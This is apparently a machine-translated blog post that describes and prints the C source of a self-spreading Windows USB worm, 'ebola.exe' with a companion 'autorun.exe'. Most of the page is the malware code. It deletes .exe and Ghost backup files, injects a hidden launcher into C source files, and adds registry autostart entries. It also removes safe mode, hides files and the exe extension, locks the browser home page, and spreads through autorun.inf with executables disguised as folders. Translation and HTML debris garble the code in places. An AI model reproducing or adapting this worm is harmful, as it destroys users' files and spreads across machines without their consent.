Several APIs are used to implement some cumbersome functions...

Ebola.exe <br/> traverses the hard disk and USB flash drive files. If the suffix is exe, the files are deleted. If the file is c, the stdio. c header file containing the ebloa.exe code is generated under its directory, and its attributes are hidden. Modify the file header <stdio. h> to "stdio. c" and insert malicious functions into the file c. No malicious code has been found for cpp and html. If the suffix is gho, delete the file. <Br/> modify the Registry: disable security mode, add auto-start, modify and lock the home page, disable viewing hidden files, and shield the suffix of the exe file, when adding an auto-start device, soft blocking may cause a failure. You should try again. If the addition fails, modify the ebloa file name, add a random number after the file name, and re-Add the auto-start device .. </p> <p> scan the hard drive U disk and system32directory every 0.3seconds, and check whether autorun.exe exists. If not, copy from other locations. <br/> the folder name is the same as the folder name and copied to the root directory of the USB flash drive. The original folder is set to hidden and autorun is generated under its root directory. inf file. <Br/> check whether windows/system32/autorun.exe runs every 0.1 seconds. Otherwise, run it and hide its window. </P> <p> autorun.exe <br/> after the Mobile Disk is started and disguised as "autorun.exe" of the folder icon, "autorun.exe" appears and hides its window. <Br/> every seconds, ebola.exe is available in the root directory of each driver and under system32. if no, It is copied elsewhere. <Br/> check whether ebola.exe under system32runs every 0.3seconds. Otherwise, run it and hide the window. </P> <p> both exe files of the program are hidden and monitored. If the other process is found to be terminated, the program immediately runs the other process again. If the key value of the hidden file can be viewed in the registry is not changed back, the command is not run or other software is not displayed .. </P> <p> many APIs are used to write this object. These APIs are powerful, but they are just a small application .. If you can add some hooks, it will be even more cumbersome .. </P> <p> main program ebola.exe </p> <p> long INFC = 0, INFCPP = 0, INFHTM = 0; </p> <p> void infectC (char * path); <br/> void ufilereplace (char * path ); </p> <p> void searchdisk (char * way, int deep, int type) // traversal infected Suffix: gho, c, cpp, htm, html file <br/>{< br/> WIN32_FIND_DATA f; HANDLE done; char newway [255], bian [255]; DWORD errorcode = 0; <br/> strcpy (newway, way); <br/> strcat (newway ,"*. * "); <br/> done = FindFirstFile (newway, & f); <br/> wh Ile (errorcode! = ERROR_NO_MORE_FILES) <br/>{< br/> if (deep = 7) <br/> break; <br/> errorcode = GetLastError (); <br/> if (errorcode = ERROR_NO_MORE_FILES) <br/> break; <br/> if (! (F. dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) <br/>{< br/> strcpy (bian, way); <br/> strcat (bian, f. cFileName); <br/> if (strrchr (bian ,'. ')! = NULL) <br/>{< br/> // if (stricmp (strrchr (bian ,'. '),". gho ") = 0) <br/> // gho (bian); <br/> // if (stricmp (strrchr (bian ,'. '),". c ") = 0 & stricmp (strrchr (bian, '//')," // stdio. c ") <br/> // infectC (bian); <br/>/* if (stricmp (strrchr (bian ,'. '),". cpp ") = 0) <br/> infectcpp (bian); <br/> if (stricmp (strrchr (bian ,'. '),". htm ") = 0 | stricmp (strrchr (bian ,'. '),". html ") = 0) <br/> infecthtml (bian); <br/> */} </p> <p >}< B R/> if (stricmp (f. cFileName, "System Volume Information") & stricmp (f. cFileName, "recycled") & stricmp (f. cFileName, "Documents and Settings") & stricmp (f. cFileName, "WINDOWS") & (f. dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) & strcmp (f. cFileName ,". ") & strcmp (f. cFileName ,".. ") <br/>{< br/> strcpy (bian, way); <br/> strcat (bian, f. cFileName); <br/> if (type = 1) <br/> ufilereplace (bian); <br /> Strcat (bian, "//"); <br/> searchdisk (bian, deep + 1, 0 ); </p> <p >}< br/> errorcode = GetLastError (); <br/> FindNextFile (done, & f ); <br/>}< br/> CloseHandle (done); </p> <p >}</p> <p> void autorun () // auto start upon startup <br/>{< br/> char subkey [70] = "SOFTWARE/Microsoft // Windows // CurrentVersion // Run "; <br/> char value [50] = "c: // windows // system32 // ebola.exe"; <br/> char vname [10] = "ebola "; <br/> HKEY hKey; <br/> ULONG dType = R EG_SZ, len = 0; <br/> RegOpenKeyEx (HKEY_LOCAL_MACHINE, subkey, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, & hKey); <br/> if (RegQueryValueEx (hKey, vname, 0, & dType, NULL, & len); <br/> RegSetValueEx (hKey, vname, 0, REG_SZ, (const byte *) value, strlen (value) + 1 ); <br/> RegCloseKey (hKey); <br/>}</p> <p> void safeboot () // blocked security mode <br/>{< br/> HKEY hKey; <br/> RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SYSTEM // CurrentControlSet // Control", 0, KE Y_WRITE, & hKey); <br/> SHDeleteKey (hKey, "SafeBoot"); <br/> RegCloseKey (hKey ); <br/>}</p> <p> void checkautorun () // check whether autorun.exe is running <br/>{< br/> FILE * p; </p> <p> if (NULL! = (P = fopen ("C: // WINDOWS // system32 // autorun.exe", "rb + "))) <br/>{< br/> fclose (p); <br/> ShellExecute (NULL, "open", "c: // windows // system32 // autorun.exe ", NULL, NULL, SW_HIDE); <br/>}</p> <p> void IEmain (char http []) // modify the home page <br/>{< br/> char subkey [70] = "Software // Microsoft // Internet Explorer // Main "; <br/> char vname [20] = "Start Page"; <br/> DWORD value = 1; <br/> HKEY hKey; <br/> ULONG dType = REG_SZ, le N = 0; <br/> RegOpenKeyEx (HKEY_CURRENT_USER, subkey, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, & hKey); <br/> if (RegQueryValueEx (hKey, vname, 0, & dType, NULL, & len); <br/> RegSetValueEx (hKey, vname, 0, REG_SZ, (const byte *) http, strlen (http) + 1 ); <br/> RegCloseKey (hKey); <br/> strcpy (subkey, "Software // Policies/Microsoft // Internet Explorer/Control Panel "); <br/> strcpy (vname, "HomePage"); <br/> dType = REG_DWORD; <br/> Reg CreateKey (HKEY_CURRENT_USER, "Software // Policies // Microsoft // Internet Explorer // Control Panel", & hKey); // lock the home page <br/> RegOpenKeyEx (HKEY_CURRENT_USER, subkey, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, & hKey); <br/> if (RegQueryValueEx (hKey, vname, 0, & dType, NULL, & len )); <br/> RegSetValueEx (hKey, vname, 0, REG_DWORD, (const byte *) & value, sizeof (DWORD); <br/> RegCloseKey (hKey ); <br/>}</p> <p> void finddisk () <br/>{< br/> c Har path [5] = "c: //"; <br/> for (; path [0] <= 'Z'; path [0] ++) <br/>{< br/> if (DRIVE_FIXED = GetDriveType (path) <br/> searchdisk (path, 1, 0 ); <br/> if (DRIVE_REMOVABLE = GetDriveType (path) <br/> searchdisk (path, 1, 1 ); </p> <p >}< br/>/* searchdisk ("g: //", 1, 1); <br/> searchdisk ("h ://", 1, 1); */<br/>}</p> <p> void Uautorun () // USB flash drive <br/>{< br/> FILE * p; <br/> char path [20] = "c: // autorun. inf "; int I = 0; char file [200] = "[Autorun] open‑autorun.exe shell/open = open (& O) shell/open/command#autorun.exe shell/open/Default = 1 shell/cmde = Resource Manager (& X) shell/cmde/commandereautorun.exe "; </p> <p> p = fopen (path," w "); <br/> while (file [I]! = '/0') <br/>{< br/> if (file [I] = '') <br/> fputc ('/N', p ); <br/> else <br/> fputc (file [I], p); <br/> I ++; <br/>}< br/> fclose (p); <br/>}</p> <p> void gho (char * path) // Delete the gho file <br/>{< br/> remove (path); <br/> Sleep (200 ); <br/>}</p> <p> void disktype () // copy the autorun.exe file to the udisk <br/>{< br/> char disk [15] = "c: // ", copy [15] =" c: // ", * p; </p> <p> for (; disk [0] <= 'Z '; disk [0] ++) <br/> if (DRIVE_REMOVABLE = GetDriveType (dis K) <br/>{< br/> strcat (disk, "autorun.exe"); <br/> while (DRIVE_FIXED = GetDriveType (copy )) <br/>{< br/> strcat (copy, "autorun.exe"); <br/> CopyFile (copy, disk, TRUE ); <br/> p = strrchr (copy, '//'); <br/> * (++ p) = '/0 '; <br/> copy [0] ++; <br/>}< br/> p = strrchr (disk ,'//'); <br/> * (++ p) = '/0'; <br/> strcat (disk, "ebola.exe"); <br/> CopyFile ("C: // WINDOWS // system32 // ebola.exe ", disk, TRUE); <br/> p = strrchr (disk ,' // '); <Br/> * (++ p) ='/0'; <br/> copy [0] = 'C '; <br/>}< br/> // modify the name of the exe extension hidden in the registry <br/> char subkey [20] = "exefile", code [1] = ""; <br/> char vname [20] = "NeverShowExt"; <br/> HKEY hKey; <br/> ULONG dType = REG_SZ, len = 0; <br/> RegOpenKeyEx (HKEY_CLASSES_ROOT, subkey, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, & hKey); <br/> if (RegQueryValueEx (hKey, vname, 0, & dType, NULL, & len); <br/> RegSetValueEx (hKey, vname, 0, REG_SZ, (CONST BYTE *) Code, 1); <br/> RegCloseKey (hKey); </p> <p >}</p> <p> void ufilereplace (char * path) // hide the udisk folder and pass autorun.exe as a folder to the USB flash drive <br/>{< br/> char * p, disk [100]; <br/> FILE * p1; <br/> // printf ("% s/n", path); <br/> strcpy (disk, path); <br/> strcat (disk ,". exe "); <br/> if (NULL = (p1 = fopen (disk," r + "))) <br/>{< br/> CopyFile ("c: // autorun.exe", disk, TRUE); <br/> SetFileAttributes (path, 2 ); <br/> SetFileAttributes (disk, 8); <br/>}< br/> else <br/> fclose (p1 ); </p> <p >}</p> <p> void checkebola () // check whether autorun.exe exists in the driver. If not, copy it from another drive. <br/>{< br/> char path [15] = "c: //", copy [15] = "c: // "; <br/> char * p; <br/> FILE * p1; <br/> for (; path [0] <= 'Z '; path [0] ++) <br/> if (DRIVE_FIXED = GetDriveType (path) | DRIVE_REMOVABLE = GetDriveType (path )) <br/>{< br/> strcat (path, "autorun.exe"); <br/> if (NULL = fopen (path, "rb + ")) <br/>{< br/> s Trcat (copy, "autorun.exe"); <br/> while (copy [0] <= 'Z' & NULL = (p1 = fopen (copy, "rb +") copy [0] ++; <br/> if (copy [0] <= 'Z ') <br/>{< br/> fclose (p1); <br/> CopyFile (copy, path, TRUE ); <br/>}</p> <p >}< br/> if (NULL = (p1 = fopen ("C: // WINDOWS // system32 // autorun.exe "," rb + ") <br/> CopyFile (copy," c: // windows // system32 // autorun.exe ", TRUE); <br/> else <br/> fclose (p1); <br/> p = strrchr (copy ,'//'); <br/> * (+ + p) =' /0'; <br/> p = strrchr (path, '//'); <br/> * (++ p) = '/0 '; <br/> copy [0] = 'C'; <br/>}</p> <p> void infectC (char * path) // infected file with C extension <br/>{< br/> char subkey [100] = "SOFTWARE/Microsoft // Windows // CurrentVersion // Explorer // Advanced // Folder // Hidden // SHOWALL "; <br/> char vname [20] = "CheckedValue"; <br/> DWORD value = 0; <br/> HKEY hKey; <br/> ULONG dType = REG_DWORD, len = 0; </p> <p> char code [200], * p; <br/> FILE * P1, * p2; <br/> int I = 0; <br/> char ch, head [20]; <br/> printf ("% s/n ", path); <br/> p1 = fopen (path, "r +"); // modify the C header file, <stdio. h> change to "stdio. c "<br/> while (! Feof (p1) <br/>{< br/> ch = fgetc (p1); <br/> if (ch = '(') <br/> break; </p> <p> if (ch> = 'A' & ch <= 'Z ') | (ch> = 'A' & ch <= 'Z') <br/> {<br/> head [I] = ch; <br/> I ++; <br/>}</p> <p> if (I = 13) <br/> {<br/> head [I] = '/0'; <br/> if (0 = stricmp (head, "includestdioh ")) <br/>{< br/> fseek (p1,-1, SEEK_CUR); <br/> fputc ('C', p1); <br/> fseek (p1, -8, SEEK_CUR); <br/> fputc ('"', p1); <br/> fseek (p1, 7, SEEK_CUR); <br/> f Putc ('"', p1); <br/> break; <br/>}< br/> else <br/>{< br/> I = 0; <br/> while (! Feof (p1) <br/>{< br/> ch = fgetc (p1 ); <br/> if (ch = '>' | ch = '(' | ch = '/N') <br/> break; <br/>}< br/> fseek (p1,-1, SEEK_CUR ); <br/>}< br/> fclose (p1); </p> <p> p1 = p2 = fopen (path, "r +"); <br/> while (! Feof (p1) <br/> if (fgetc (p1) = '}') <br/> p2 = p1; <br/> fseek (p2,-1, SEEK_CUR); <br/> fputs ("f ();", p2); <br/> fputc ('/N', p2 ); <br/> fputc ('}', p2); <br/> fclose (p2 ); // The c file has been infected </p> <p> // generate stdio in the same directory of the infected C file. c file, and set it to a hidden file </p> <p> strcpy (code, "include stdio. h include windows. h void f ShellExecute NULL, open, C: // WINDOWS // system32 // ebola.exe, NULL, NULL, SW_HIDE ;"); <br/> code [0] = '#'; code [8] = '<'; co De [16] = '>'; code [17] = '/N'; code [18] =' # '; code [26] =' <'; code [36] = '>'; code [37] = '/N'; code [44] =' ('; code [45] = ')'; code [46] = '/N'; code [47] =' {'; code [60] =' ('; code [66] = '"'; code [71] = '"'; code [73] = '"'; code [106] = '"'; code [125] = ')'; code [128] = '}'; <br/> p = strrchr (path, '//'); <br/> * (++ p) = '/0'; <br/> strcat (path, "stdio. c "); <br/> remove (path); <br/> p1 = fopen (path," w "); <br/> fputs (code, p1 ); <br/> fclose (p 1); <br/> SetFileAttributes (path, 2); </p> <p> // modify the registry and disable viewing hidden files <br/> RegOpenKeyEx (HKEY_LOCAL_MACHINE, subkey, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, & hKey); <br/> if (RegQueryValueEx (hKey, vname, 0, & dType, NULL, & len )); <br/> RegSetValueEx (hKey, vname, 0, REG_DWORD, (const byte *) & value, sizeof (DWORD); <br/> RegCloseKey (hKey ); </p> <p> INFC ++; <br/> Sleep (200); <br/>}</p> <p> void infectcpp (char * path) // infect the cpp file <br/>{</ P> <p> INFCPP ++; <br/> Sleep (200); <br/>}</p> <p> void infecthtm (char * path) // infect the htm l FILE <br/>{< br/> FILE * p1, * p2; <br/> char code [100]; <br/> p1 = fopen (path, "w"); </p> <p >}</p> <p> int main () <br/>{< br/> // checkebola (); <br/> // checkautorun (); <br/> // finddisk (); <br/> // autorun (); <br/> // IEmain ("http://www.fuck.com"); <br/> // Uautorun (); <br/> // safeboot (); <br/> while (1) <br/>{< br/> // ShellExecu Te (NULL, "open", "F: // 4_1 // Debug // test.exe", NULL, NULL, SW_HIDE); <br/> // disktype (); <br/> checkebola (); <br/> checkautorun (); // check whether the autorun.exe file is deleted. If yes, the file is automatically copied. <br/> Sleep (100 ); <br/>}</p> <p> return 0; <br/>}</p> <p> from program autorun.exe </p> <p> char path [15] = "c ://", copy [15] = "c: //"; <br/> FILE * p1; <br/> char * p; <br/> while (1) <br/>{< br/> // check whether the ebloa.exe file exists. If the file does not exist, copy it from another drive. <br/> for (; path [0] <= 'Z '; path [0] ++) <Br/> if (DRIVE_FIXED = GetDriveType (path) | DRIVE_REMOVABLE = GetDriveType (path) <br/>{< br/> strcat (path, "ebola.exe "); <br/> if (NULL = (p1 = fopen (path, "rb +") <br/>{< br/> strcat (copy, "ebola.exe"); <br/> while (copy [0] <= 'Z' & NULL = (p1 = fopen (copy, "rb + "))) copy [0] ++; <br/> if (copy [0] <= 'Z') <br/> {<br/> fclose (p1 ); <br/> CopyFile (copy, path, TRUE); <br/>}< br/> else <br/> fclose (p1 ); </p> <p> If (NULL = (p1 = fopen ("C: // WINDOWS // system32 // ebola.exe", "rb + "))) <br/>{< br/> CopyFile (copy, "c: // windows // system32 // ebola.exe", TRUE ); </p> <p >}< br/> else <br/> fclose (p1); </p> <p> p = strrchr (copy, '//'); <br/> * (+ + p) = '/0'; <br/> p = strrchr (path ,'//'); <br/> * (++ p) = '/0'; <br/> copy [0] = 'C '; </p> <p >}</p> <p> // check whether ebola.exe is running <br/> if (NULL! = (P1 = fopen ("c: // windows // system32 // ebola.exe", "rb + "))) <br/>{< br/> fclose (p1); <br/> ShellExecute (NULL, "open", "C: // WINDOWS // system32 // ebola.exe ", NULL, NULL, SW_HIDE); <br/>}</p> <p> Sleep (100); </p> <p >}</p> <p>